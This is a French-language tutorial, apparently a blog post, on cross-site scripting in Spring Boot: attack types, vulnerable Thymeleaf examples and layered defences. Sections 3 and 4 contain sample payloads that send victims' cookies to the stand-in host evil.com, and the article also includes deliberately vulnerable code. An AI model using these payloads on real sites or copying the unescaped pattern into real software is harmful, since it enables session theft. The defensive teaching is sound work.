XSS : Attaques et prévention dans les applications Spring Boot

1. Vue d’ensemble

XSS (Cross-Site Scripting) est l’une des vulnérabilités web les plus courantes, figurant dans l’OWASP Top 10 depuis de nombreuses années. Cet article vous aide à comprendre les trois types de XSS courants, à examiner des exemples d’attaques réelles, puis à appliquer des techniques de prévention comme l’output encoding, Content Security Policy (CSP), et la configuration des en-têtes HTTP dans Spring Boot. Après la lecture, vous saurez comment auditer et corriger les vulnérabilités XSS dans votre application.

2. Qu’est-ce que le XSS ?

Le XSS se produit lorsqu’une application web permet à un attaquant d’injecter du code JavaScript malveillant dans une page, puis le navigateur de la victime exécute ce code comme s’il était une partie légitime de la page web. Conséquences : vol de cookies/sessions, usurpation d’actions utilisateur, redirection vers des pages malveillantes.

Il y a 3 types principaux de XSS :

  • Reflected XSS : la charge utile se trouve dans la requête (query string, formulaire), le serveur la renvoie immédiatement sans filtrage.
  • Stored XSS : la charge utile est stockée dans la base de données (par exemple, commentaires, bio), puis affichée à tous les visiteurs — plus dangereux car elle affecte de nombreuses personnes.
  • DOM-based XSS : la charge utile ne passe pas par le serveur, mais le JavaScript côté client lit des données non sécurisées (URL, localStorage) et les écrit directement dans le DOM.

3. Exemple d’attaque Reflected XSS

Supposons que vous ayez un endpoint de recherche simple qui affiche le mot-clé entré par l’utilisateur :

@Controller
public class SearchController {

    @GetMapping("/search")
    public String search(@RequestParam String keyword, Model model) {
        model.addAttribute("keyword", keyword);
        return "search-result";
    }
}

Le template Thymeleaf utilise th:utext (texte non échappé) pour afficher :

<p>Résultats de recherche pour : <span th:utext="${keyword}"></span></p>

L’attaquant envoie ce lien à la victime :

https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Lorsque la victime clique, le navigateur exécute le script et envoie les cookies de la victime à evil.com. La cause racine : th:utext rend du HTML brut sans encoder les caractères spéciaux.

Remarque : N’utilisez th:utext que si vous êtes 100% certain que le contenu est du HTML de confiance (par exemple, composé par un administrateur via un éditeur rich-text avec sanitisation). Par défaut, utilisez toujours th:text.

4. Exemple d’attaque Stored XSS

Le Stored XSS est plus dangereux car la charge utile persiste longtemps dans le système. Exemple avec une fonctionnalité de commentaires :

@Entity
public class Comment {
    @Id @GeneratedValue
    private Long id;
    private String content;
    private String authorName;
    // getters, setters
}

@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
    Comment comment = new Comment();
    comment.setContent(content);
    comment.setAuthorName(authorName);
    commentRepository.save(comment);
    return "redirect:/comments";
}

L’attaquant envoie un commentaire contenant :

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

Si la page affichant le commentaire rend directement du HTML (sans encoding), tous les visiteurs seront victimes du vol de cookies — aucun clic nécessaire.

5. Prévention par Output Encoding

Règle d’or : encodez les données dans le bon contexte au moment de l’output, pas à l’input. Pour le contexte HTML, Thymeleaf échappe automatiquement par défaut quand on utilise th:text :

<!-- Sûr : échappe automatiquement -->
<p th:text="${comment.content}"></p>

Comparaison des résultats :

Entrée :  <script>alert('XSS')</script>
Sortie (th:text) : &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
Sortie (th:utext) : <script>alert('XSS')</script>  <!-- DANGEREUX -->

Avec th:text, le navigateur affiche la chaîne de caractères littéralement, n’exécute pas le script. C’est la première et la plus importante couche de défense.

5.1. Encoder selon les différents contextes

Tous les emplacements d’output n’utilisent pas HTML encoding. Par exemple, quand vous insérez une valeur dans un attribut JavaScript ou une URL, vous avez besoin d’un encoding différent :

<!-- Context: HTML attribute -->
<a th:href="@{/profile(id=${user.id})}">Voir le profil</a>

<!-- Context: Chaîne JavaScript - NE FAITES PAS CELA -->
<script>
    var username = '[[${user.name}]]'; // dangereux si name contient '); alert(1); //
</script>

Si vous devez passer des données du serveur à un script, encodez-les en JSON et mettez-les dans un attribut data-* :

<div id="user-data" th:data-name="${user.name}"></div>
<script>
    const name = document.getElementById('user-data').dataset.name;
</script>

Cette approche évite la concaténation directe dans un littéral JavaScript — source de nombreuses vulnérabilités DOM-based XSS.

6. Sanitiser le HTML lorsqu’il faut permettre du texte enrichi

Il y a des cas légitimes où vous devez stocker du HTML (par exemple, des articles de blog avec du gras, italique, liens). Dans ce cas, vous ne pouvez pas tout encoder, mais vous devez whitelist les tags/attributs sûrs à l’aide d’une bibliothèque de sanitisation.

<dependency>
    <groupId>org.owasp.antisamy</groupId>
    <artifactId>antisamy</artifactId>
    <version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {

    private final Policy policy;

    public HtmlSanitizerService() throws PolicyException {
        this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
    }

    public String sanitize(String rawHtml) throws ScanException, PolicyException {
        AntiSamy antiSamy = new AntiSamy();
        CleanResults results = antiSamy.scan(rawHtml, policy);
        return results.getCleanHTML();
    }
}

Le fichier antisamy-policy.xml définit la whitelist des tags (<b>, <i>, <a> avec href permettant seulement http/https…). Tous les tags/attributs ne figurant pas dans la whitelist (comme <script>, onerror) sont complètement supprimés avant d’être sauvegardés dans la base de données.

Test rapide du comportement de sanitisation :

@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
    HtmlSanitizerService sanitizer = new HtmlSanitizerService();

    String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
    String clean = sanitizer.sanitize(dirty);

    assertThat(clean)
        .contains("<p>Hello <b>world</b></p>")
        .doesNotContain("<script>");
}

Remarque : La sanitisation doit être effectuée à la fois à l’input (avant de sauvegarder dans la DB, pour éviter que la charge utile ne fuite via une autre API) et à l’output (avant de rendre) pour une défense en profondeur (defense in depth).

7. Content Security Policy (CSP)

CSP est la deuxième couche de défense, limitant le navigateur à exécuter des scripts uniquement à partir de sources de confiance, même si la charge utile XSS se glisse à travers l’encoding/sanitisation.

@Configuration
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives(
                    "default-src 'self'; " +
                    "script-src 'self'; " +
                    "style-src 'self' 'unsafe-inline'; " +
                    "object-src 'none'; " +
                    "base-uri 'self';"
                )
            )
        );
        return http.build();
    }
}

Explication des directives :

  • default-src 'self' : par défaut, charger les ressources uniquement depuis la même origine.
  • script-src 'self' : exécuter les scripts uniquement depuis votre domaine — bloque complètement les inline scripts (<script>alert(1)</script> est rejeté par le navigateur, peu importe s’il est valide ou non).
  • object-src 'none' : bloquer Flash/plugins, anciennes sources d’attaque mais toujours présentes.

En-tête de réponse correspondant :

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';

Lorsqu’un attaquant parvient à injecter <img src=x onerror="..."> au-delà de la sanitisation, CSP avec script-src 'self' bloquera l’exécution du gestionnaire d’événement inline (onerror), car il est traité comme un inline script.

7.1. Vérifier que CSP ne casse pas l’UI

Avant d’activer une CSP stricte en production, utilisez le mode report-only pour surveiller les violations sans les bloquer :

headers.contentSecurityPolicy(csp -> csp
    .policyDirectives("default-src 'self'; script-src 'self'")
    .reportOnly()
);

Le navigateur enregistre simplement les avertissements dans la console (et envoie un rapport s’il y a report-uri), il ne bloque pas les ressources. En vous basant sur ces logs, vous affinez la stratégie avant de passer à l’application réelle.

8. Sécuriser les cookies avec HttpOnly et SameSite

Même si vous avez bloqué le XSS, vous devez ajouter une couche de défense supplémentaire : empêcher les scripts de lire les cookies de session, limiter les dégâts si le XSS se produit quand même.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
  • http-only=true : JavaScript (document.cookie) ne peut pas lire ce cookie — la charge utile de vol de cookies de l’exemple de la section 3 échouera.
  • secure=true : le cookie n’est envoyé que via HTTPS.
  • same-site=strict : le cookie n’est pas envoyé avec les requêtes provenant d’autres domaines, réduisant le risque de CSRF combiné avec XSS.

9. Tests automatisés pour détecter les XSS basiques

Vous pouvez écrire des tests d’intégration pour vérifier que les endpoints échappent correctement la sortie, éviter les régressions lors des changements de code.

@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {

    @Autowired
    private TestRestTemplate restTemplate;

    @Test
    void search_shouldEscapeScriptTag_inResponseBody() {
        String payload = "<script>alert(1)</script>";

        ResponseEntity<String> response = restTemplate.getForEntity(
            "/search?keyword=" + payload, String.class);

        assertThat(response.getBody())
            .doesNotContain("<script>alert(1)</script>")
            .contains("&lt;script&gt;");
    }
}

Ce test envoie une charge utile XSS classique, et affirme que le corps de la réponse ne contient pas la balise script originale — si elle est présente, cela signifie que le template utilise incorrectement th:utext quelque part.

10. Checklist des erreurs courantes

  • Utiliser th:utext, innerHTML, ou v-html (Vue) pour les données utilisateur sans sanitisation.
  • Concaténer directement les données utilisateur dans les blocs <script> au lieu d’utiliser un attribut data-* ou du JSON sécurisé.
  • Encoder uniquement à l’input (sauvegarde en DB) et oublier de ré-encoder à l’output — si vous changez le contexte d’affichage (par exemple, exporter en CSV, rendre en PDF), les données « propres » de la DB peuvent toujours être dangereuses dans le nouveau contexte.
  • Activer une CSP trop permissive (script-src * ou unsafe-inline) rendant CSP inefficace pour bloquer XSS.
  • Oublier HttpOnly pour les cookies de session — les attaquants XSS peuvent toujours voler les cookies même si la sortie est encodée ailleurs.
  • Faire confiance à la validation côté client (JavaScript) sans revalider/réencoder sur le serveur — le client est facile à contourner.

Remarque : Ne pas écrire vous-même des regex pour « filtrer » les tags HTML (par exemple, supprimer <script> avec une regex). Les attaquants ont toujours des moyens de contourner (<ScRiPt>, <svg/onload=...>, encodage Unicode…). Utilisez des bibliothèques de sanitisation éprouvées comme AntiSamy ou OWASP Java HTML Sanitizer.

11. Conclusion

Le XSS n’est pas une vulnérabilité difficile à comprendre, mais elle est facile à oublier car elle se cache partout où vous affichez les données utilisateur. Une prévention efficace nécessite plusieurs couches : encoder correctement selon le contexte lors du rendu (privilégier th:text plutôt que th:utext), sanitiser avec une whitelist quand vous devez permettre du HTML enrichi, activer CSP pour bloquer les scripts étrangers même si la charge utile se glisse à travers, et définir HttpOnly/Secure/SameSite pour les cookies afin de limiter les dégâts si le XSS se produit quand même. Écrivez des tests automatisés pour vérifier l’escaping sur tous les endpoints qui acceptent l’entrée utilisateur — c’est le moyen le moins cher d’éviter que cette erreur ne se reproduise lors des changements de code.

web-securityxssspring-bootowasp